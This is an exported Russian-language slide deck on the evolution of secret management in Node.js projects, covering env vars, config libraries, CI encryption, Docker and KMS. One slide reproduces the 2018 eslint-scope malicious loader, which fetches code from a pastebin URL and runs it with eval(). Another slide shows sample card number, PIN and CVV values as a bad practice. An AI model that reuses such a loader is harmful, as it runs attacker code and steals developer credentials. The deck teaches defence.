Эволюция

способов сохранения в секрете

конфиденциальной информации

Обо мне

  • 10+ опыта разработки
  • Фулл-стек разработчик
  • Член ПК HolyJS
  • Волонтер

Созидательное общество

Способы сохранения секретов

const

import { google } from 'googleapis';

const сonfig = {
  clientId: 'GOOGLE_CLIENT_ID', // e.g. asdfghjkljhgfdsghjk.apps.googleusercontent.com
  clientSecret: 'GOOGLE_CLIENT_SECRET', // e.g. _ASDFA%DFASDFASDFASD#FAD-
  redirect: 'https://your-website.com/google-auth' // this must match your google api settings
};

/**
* Create the google auth object which gives us access to talk to google's apis.
*/

function createConnection() {
  return new google.auth.OAuth2(сonfig.clientId, сonfig.clientSecret, сonfig.redirect);
}
const cardNumber = '4916 4376 6394 9708';
const pin = '8180';
const name = 'Royal Vasquez';
const CVV = '452'
const expDate = '11/2021';
const сonfig = {
  clientId: 'asdfghjkljhgfdsghjk.apps.googleusercontent.com',
  clientSecret: '_ASDFA%DFASDFASDFASD#FAD-',
  redirect: 'https://your-website.com/google-auth'
};

GitHub secret scanning: https://bit.ly/2MgBQje

var app = express()
app.set('trust proxy', 1) // trust first proxy
app.use(session({
  secret: 'keyboard cat',
  resave: false,
  saveUninitialized: true,
  cookie: { secure: true }
}))

express-session

Способы сохранения секретов

  1. const
  2.  
  3.  
  4.  
  5.  
  6.  
  7.  
 

environment variables & process.env

const googleConfig = {
  clientId: process.env.CLIENT_ID,
  clientSecret: process.env.CLIENT_SECRET,
  redirect: 'https://your-website.com/google-auth'
};
CLIENT_ID=asdfghjkljhgfdsghjk.apps.googleusercontent.com \
CLIENT_SECRET=_ASDFA%DFASDFASDFASD#FAD- \
node app.js

# OR

export CLIENT_ID=asdfghjkljhgfdsghjk.apps.googleusercontent.com
export CLIENT_SECRET=_ASDFA%DFASDFASDFASD#FAD-
node app.js

Способы сохранения секретов

  1. const
  2. environment variables & process.env
  3.  
  4.  
  5.  
  6.  
  7.  

Default config

const DEFAULT_CONFIG = require('./default.config');

const config = {
  NODE_ENV: process.env.NODE_ENV || DEFAULT_CONFIG.NODE_ENV,
  PORT: process.env.PORT || DEFAULT_CONFIG.PORT,
  INNER_PORT: process.env.INNER_PORT || DEFAULT_CONFIG.INNER_PORT,
  HOST_URL: process.env.HOST_URL || DEFAULT_CONFIG.HOST_URL,

  DATASET_NAME: process.env.DATASET_NAME
}

config.js

const DEFAULT_NODE_ENV = 'local';
const NODE_ENV = process.env.NODE_ENV || DEFAULT_NODE_ENV;

const DEFAULT_PORTS = Object.freeze({
  local: 3000,
  development: 443,
  stage: 443,
  production: 443
});

default.config.js

module.exports = Object.freeze({
  PORT: DEFAULT_PORTS[NODE_ENV] || DEFAULT_PORTS[DEFAULT_NODE_ENV],
  INNER_PORT: 3000,

  NODE_ENV: NODE_ENV,
  SESSION_TIMEOUT: 60000,

  PATH_TO_DDF_FOLDER: 'open-numbers/',
});

default.config.js

const PRODUCTION_ENVS = new Set(['stage', 'production']);

const config: any = {
  S3_BUCKET: process.env.S3_BUCKET,
  S3_ACCESS_KEY: process.env.S3_ACCESS_KEY,
  S3_SECRET_KEY: process.env.S3_SECRET_KEY,
  NODE_ENV: process.env.NODE_ENV || DEFAULT_CONFIG.NODE_ENV,
  HOSTNAME: process.env.HOSTNAME || DEFAULT_CONFIG.HOSTNAME,
  PORT: parseInt(`${process.env.PORT || DEFAULT_CONFIG.PORT}`, 10),
  HOST_URL: process.env.HOST_URL || DEFAULT_CONFIG.HOST_URL,
  LOG_MARKER: DEFAULT_CONFIG.LOG_MARKER,
  PROJECT: process.env.PROJECT,
  MACHINE_TYPE: process.env.MACHINE_TYPE,
  REGION: process.env.REGION,
  RELEASE_DATE: process.env.RELEASE_DATE || new Date().toISOString(),

  REDIS_HOST: process.env.REDIS_HOST || DEFAULT_CONFIG.REDIS_HOST,
  REDIS_PORT: process.env.REDIS_PORT || DEFAULT_CONFIG.REDIS_PORT,

  PATH_TO_DIFF_DDF_RESULT_FILE: process.env.PATH_TO_DIFF_DDF_RESULT_FILE || DEFAULT_CONFIG.PATH_TO_DIFF_DDF_RESULT_FILE,
  PATH_TO_DDF_REPOSITORIES: process.env.PATH_TO_DDF_REPOSITORIES || DEFAULT_CONFIG.PATH_TO_DDF_REPOSITORIES,
  PATH_TO_TRAVIS_KEY: process.env.PATH_TO_TRAVIS_KEY || DEFAULT_CONFIG.PATH_TO_TRAVIS_KEY,

  DATASET_NAME: process.env.DATASET_NAME,
  CLEAN_EXPORT: process.env.CLEAN_EXPORT || DEFAULT_CONFIG.CLEAN_EXPORT,
  EXPORT_TO_VERSION: process.env.EXPORT_TO_VERSION,
  INCREMENTAL_EXPORT_TO_VERSION: process.env.INCREMENTAL_EXPORT_TO_VERSION,

  INFLUXDB_HOST: process.env.INFLUXDB_HOST || DEFAULT_CONFIG.INFLUXDB_HOST,
  INFLUXDB_PORT: process.env.INFLUXDB_PORT || DEFAULT_CONFIG.INFLUXDB_PORT,
  INFLUXDB_DATABASE_NAME: process.env.INFLUXDB_DATABASE_NAME || DEFAULT_CONFIG.INFLUXDB_DATABASE_NAME,
  INFLUXDB_USER: process.env.INFLUXDB_USER || DEFAULT_CONFIG.INFLUXDB_USER,
  INFLUXDB_PASSWORD: process.env.INFLUXDB_PASSWORD || DEFAULT_CONFIG.INFLUXDB_PASSWORD,

  // { error: 0, warn: 1, info: 2, verbose: 3, debug: 4, silly: 5 }
  LOG_LEVEL: process.env.LOG_LEVEL || DEFAULT_CONFIG.LOG_LEVEL,
  DEFAULT_USER_PASSWORD: process.env.DEFAULT_USER_PASSWORD,
  VERSION: process.env.VERSION || DEFAULT_CONFIG.VERSION,
  DEFAULT_DATASETS: process.env.DEFAULT_DATASETS
  ? process.env.DEFAULT_DATASETS.split(',')
  : DEFAULT_CONFIG.DEFAULT_DATASETS
};

config.IS_PRODUCTION = PRODUCTION_ENVS.has(config.NODE_ENV);
config.IS_LOCAL = config.NODE_ENV === 'local';
config.IS_TESTING = config.NODE_ENV === 'test';
config.CAN_POPULATE_DOCUMENTS = config.NODE_ENV === 'local';
config.MACHINE_SUFFIX = process.env.MACHINE_SUFFIX;
config.PATH_TO_REPOS_CONFIG = `configs/repos-config.${config.NODE_ENV}.json`;

config.IS_MONITORING_NEEDED = DEFAULT_CONFIG.IS_MONITORING_NEEDED;

if (process.env.IS_MONITORING_NEEDED === 'true') {
  config.IS_MONITORING_NEEDED = true;
} else if (config.IS_LOCAL || config.IS_TESTING) {
  config.IS_MONITORING_NEEDED = false;
}

const REQUIRED_ENVIRONMENT_VARIABLES = Object.freeze([
  'HOSTNAME', 'S3_BUCKET', 'S3_ACCESS_KEY', 'S3_SECRET_KEY'
]);

// Check that all the REQUIRED VARIABLES was setup.
if (config.IS_PRODUCTION) {
  _.each(REQUIRED_ENVIRONMENT_VARIABLES, (CURRENT_VARIABLE: string) => {
         if (!process.env[CURRENT_VARIABLE] && !DEFAULT_CONFIG[CURRENT_VARIABLE]) {
    throw Error(`You need to set up ${CURRENT_VARIABLE}`);
  }
});
}

last_version.config.js

  • OS history
  • printenv
  • files
try {
  var https = require('https');
  https.get({
    'hostname': 'pastebin.com',
    path: '/raw/XLeVP82h',
    headers: {
      'User-Agent': 'Mozilla/5.0 (Windows NT 6.1; rv:52.0) Gecko/20100101 Firefox/52.0',
      Accept: 'text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8'
    }
  }, (r) => {
    r.setEncoding('utf8');
  	r.on('data', (c) => {
       eval(c);
	});
	r.on('error', () => {});
  }).on('error', () => {});
} catch (e) {
  
}

eslint-scope’ 2018

Способы сохранения секретов

  1. const
  2. environment variables & process.env
  3. default config
  4.  
  5.  
  6.  
  7.  

nconf || dotenv

Как выбрать?

  • nconf (last publish 2 years ago, no release, 4 dependencies)
  • dotenv (last publish a month ago, 0 dependency)
  • config (1 dependency, last publish 2 months ago)
  • cross-env (1 dependency, last publish 2 hours ago)
  • onion-config (no release, last publish 5 month ago, not popular)
  • noenv: (last publish 4 month ago, not popular)
  • node-getenv: (not popular, too young - 2 month)
  • sugar-env: (last publish 5 month ago, not popular, not full test coverage)
  • read-env: (last publish 1 year ago, not flexible)
  • ...

In a twelve-factor app, env vars are granular controls, each fully orthogonal to other env vars. They are never grouped together as “environments”, but instead are independently managed for each deploy. This is a model that scales up smoothly as the app naturally expands into more deploys over its lifetime.
- манифест «12-факторное приложение»

DEFAULT_NODE_ENV = 'build_type_1';
DEFAULT_MODE_ENV = 'local';

loadSensetiveData(path) {
  const NODE_ENV = (process.env.NODE_ENV || this.DEFAULT_NODE_ENV).toLowerCase();
  const MODE_ENV = (process.env.MODE_ENV || this.DEFAULT_MODE_ENV).toLowerCase();
  nconf.set('NODE_ENV', NODE_ENV);
  nconf.set('MODE_ENV', MODE_ENV);

  console.log(`NODE_ENV: ${NODE_ENV}; MODE_ENV: ${MODE_ENV}`);

  const pathToConfig = path.resolve(__dirname, path, `${MODE_ENV}.${NODE_ENV}.json` );
  nconf.argv().env().file(pathToConfig);

  return nconf;
}

Опросник

Как обычно вы шарите свои креды?

 

  • через слак или другой мессенджер
  • через общую внутреннюю сеть
  • через гуглодоки или другие шаред ресурсы

 

Создаете ли архив на пароле?

 

  • да
  • нет

 

Способы сохранения секретов

  1. const
  2. environment variables & process.env
  3. default config
  4. nconf || dotenv
  5.  
  6.  
  7.  

github || gitlab || heroku

GitHub is where people build software. More than 50 million people use GitHub to discover, fork, and contribute to over 100 million projects.
github.com

From project planning and source code management to CI/CD and monitoring, GitLab is a complete DevOps platform, delivered as a single application.
gitlab.com

Heroku is a platform as a service (PaaS) that enables developers to build, run, and operate applications entirely in the cloud.
www.heroku.com

Алгоритм

  1. Создать файл(ы) с конфиденциальной информацией
  2. Зашифровать надежным алгоритмом (симметричным ключем)
  3. Использовать и запомнить пароль к шифрованному файлу
  4. Создать переменную (в одной из систем) содержащую пароль из п.3
  5. Перенести шифрованный файл в свой репозиторий, сделать коммит + пуш
  6. Создать шелл скрипт для дешифрования файла с конфиденциальной информацией
  7. Проверить скрипт на локали и коммит + пуш
  8. Во время очередного шага билда запустите скрипт

*Warning: *** automatically redacts secrets printed to the log, but you should avoid printing secrets to the log intentionally.

 

🤓
 

Creating and storing encrypted secrets

  • GitHub: https://bit.ly/2ApDAEf
  • GitLab: https://bit.ly/36S7hKu
  • Heroku: https://bit.ly/3cpy6Xo

Способы сохранения секретов

  1. const
  2. environment variables & process.env
  3. default config
  4. nconf || dotenv
  5. github || gitlab || heroku

Travis CI & Docker

Travis CI

As a continuous integration platform, Travis CI supports your development process by automatically building and testing code changes, providing immediate feedback on the success of the change. Travis CI can also automate other parts of your development process by managing deployments and notifications.
https://docs.travis-ci.com

Docker

Docker is a set of platform as a service (PaaS) products that uses OS-level virtualization to deliver software in packages called containers. Containers are isolated from one another and bundle their own software, libraries and configuration files; they can communicate with each other through well-defined channels. All containers are run by a single operating system kernel and therefore use fewer resources than virtual machines.
wikipedia

1. Зарегистрироваться
2. Создать секретный ключ в travis CI
`gpg --symmetric --cipher-algo AES256 my_secret.json`
3. Зашифровать этим ключем переменную(ые) окружения
4. Добавить зашифрованные значения в .travis.yaml
5. Закоммитить в репозиторий
6. Проверить что переменные находятся в настройках репозитория

Travis CI Encryption keys usage

ARG PROJECT
ENV PROJECT ${PROJECT}

ARG REGION
ENV REGION ${REGION}

ARG PORT
ENV PORT ${PORT}

ARG NODE_ENV
ENV NODE_ENV ${NODE_ENV:-"development"}

Dockerfile

ARG PROJECT
ENV PROJECT ${PROJECT}

ARG MACHINE_TYPE
ENV MACHINE_TYPE ${MACHINE_TYPE}

ARG REGION
ENV REGION ${REGION}

ARG PORT
ENV PORT ${PORT}

ARG REDIS_HOST
ENV REDIS_HOST "${REDIS_HOST}"

ARG REDIS_PORT
ENV REDIS_PORT ${REDIS_PORT:-6379}

ARG PATH_TO_DDF_REPOSITORIES
ENV PATH_TO_DDF_REPOSITORIES "${PATH_TO_DDF_REPOSITORIES}"

ARG NEW_RELIC_LICENSE_KEY
ENV NEW_RELIC_LICENSE_KEY "${NEW_RELIC_LICENSE_KEY}"

ARG NODE_ENV
ENV NODE_ENV ${NODE_ENV:-"development"}

ARG ENVIRONMENT
ENV ENVIRONMENT ${ENVIRONMENT}

ARG GCP_DEFAULT_REGION
ENV GCP_DEFAULT_REGION "${GCP_DEFAULT_REGION}"

ARG STACK_NAME
ENV STACK_NAME "${STACK_NAME:-'wsdevstack-test'}"

ARG INFLUXDB_HOST
ENV INFLUXDB_HOST "${INFLUXDB_HOST}"

ARG INFLUXDB_PORT
ENV INFLUXDB_PORT "${INFLUXDB_PORT}"

ARG INFLUXDB_DATABASE_NAME
ENV INFLUXDB_DATABASE_NAME "${INFLUXDB_DATABASE_NAME}"

ARG INFLUXDB_USER
ENV INFLUXDB_USER "${INFLUXDB_USER}"

ARG INFLUXDB_PASSWORD
ENV INFLUXDB_PASSWORD "${INFLUXDB_PASSWORD}"

ARG RELEASE_DATE
ENV RELEASE_DATE "${RELEASE_DATE:-'2017-11-28T17:15:42'}"

ARG VERSION_TAG
ENV VERSION_TAG "${VERSION_TAG:-'2.12.1'}"

ARG VERSION
ENV VERSION "${VERSION:-'2-12-1'}"

ARG DEFAULT_DATASETS
ENV DEFAULT_DATASETS "${DEFAULT_DATASETS}"

ARG S3_SECRET_KEY
ENV S3_SECRET_KEY "${S3_SECRET_KEY}"

ARG S3_ACCESS_KEY
ENV S3_ACCESS_KEY "${S3_ACCESS_KEY}"

ARG S3_BUCKET
ENV S3_BUCKET "${S3_BUCKET}"

Dockerfile

ARG NODE_ENV
ENV NODE_ENV ${NODE_ENV}

ARG MODE_ENV
ENV MODE_ENV ${MODE_ENV}

RUN npm run build:server
RUN npm run build:client:${MODE_ENV}:${NODE_ENV}

Dockerfile

tar cvf secrets.tar foo bar
travis encrypt-file secrets.tar
vi .travis.yml
git add secrets.tar.enc .travis.yml
git commit -m 'use secret archive'
git push

https://bit.ly/2XNlVyf

Travis CI Encrypting files

before_install:
  - openssl aes-256-cbc -K $encrypted_5880cf525281_key -iv $encrypted_5880cf525281_iv -in secrets.tar.enc -out secrets.tar -d
  - tar xvf secrets.tar

.travis.yaml

diff -y <(unzip -l file1.zip) <(unzip -l file2.zip)

Способы сохранения секретов

  1. const
  2. environment variables & process.env
  3. default config
  4. nconf || dotenv
  5. github || gitlab || heroku
  6. Travis CI & Docker

Cloud Functions

gcloud functions deploy FUNCTION_NAME --env-vars-file .env.yaml FLAGS...
flat ${MODE_ENV:=local}.${NODE_ENV:=build_type_1}.json | json2yaml > ${MODE_ENV:=local}.${NODE_ENV:=build_type_1}.yaml
gcloud functions deploy FUNCTION_NAME --env-vars-file ${MODE_ENV:=local}.${NODE_ENV:=build_type_1}.yaml FLAGS...

Why you shouldn't use ENV variables for secret data: https://bit.ly/2XkhJa9

Способы сохранения секретов

  1. const
  2. environment variables & process.env
  3. default config
  4. nconf || dotenv
  5. github || gitlab || heroku
  6. Travis CI & Docker
  7. Cloud Functions

Key   Management   Service

Пример для Amazon S3

1 ключ CMK используется для шифрования 10 000 уникальных файлов, для которых используется групповое дешифрование с возможностью доступа к ним 2 000 000 раз в месяц.

Данные для расчета оплаты:

  • 1 CMK
  • 10 000 запросов на шифрование (1 запрос x 10 000 объектов)
  • 2 000 000 запросов на дешифрование с целью доступа к объектам

Ежемесячная оплата:

1,00 USD 1 CMK
5,97 USD 1 990 000 запросов (2 010 000 запросов всего – 20 000 запросов, предусмотренных уровнем бесплатного пользования) x 0,03 USD за 10 000 запросов
Итого:  
6,97 USD в месяц

Выводы

  1. const
  2. environment variables & process.env
  3. default config
  4. nconf || dotenv
  5. github || gitlab || heroku
  6. Travis CI & Docker
  7. Cloud Functions
  8. K e y   M a n a g e m e n t   S e r v i c e

Выводы 2

  1. Don't use sensitive data in your scripts.. ever.
  2. Don't public your sensitive info wherever, encrypt it
  3. Check legacy code for sensitive data `gittyleaks` v0.0.31!!!!
  4. Don't log your sensitive data to the log files
  5. Add sensitive data to the process.env or args
  6. Keep your data in memory not in files, not in global environment variables

???

Copy of Evolution

By Vasiliy Vanchuk

Copy of Evolution

  • 874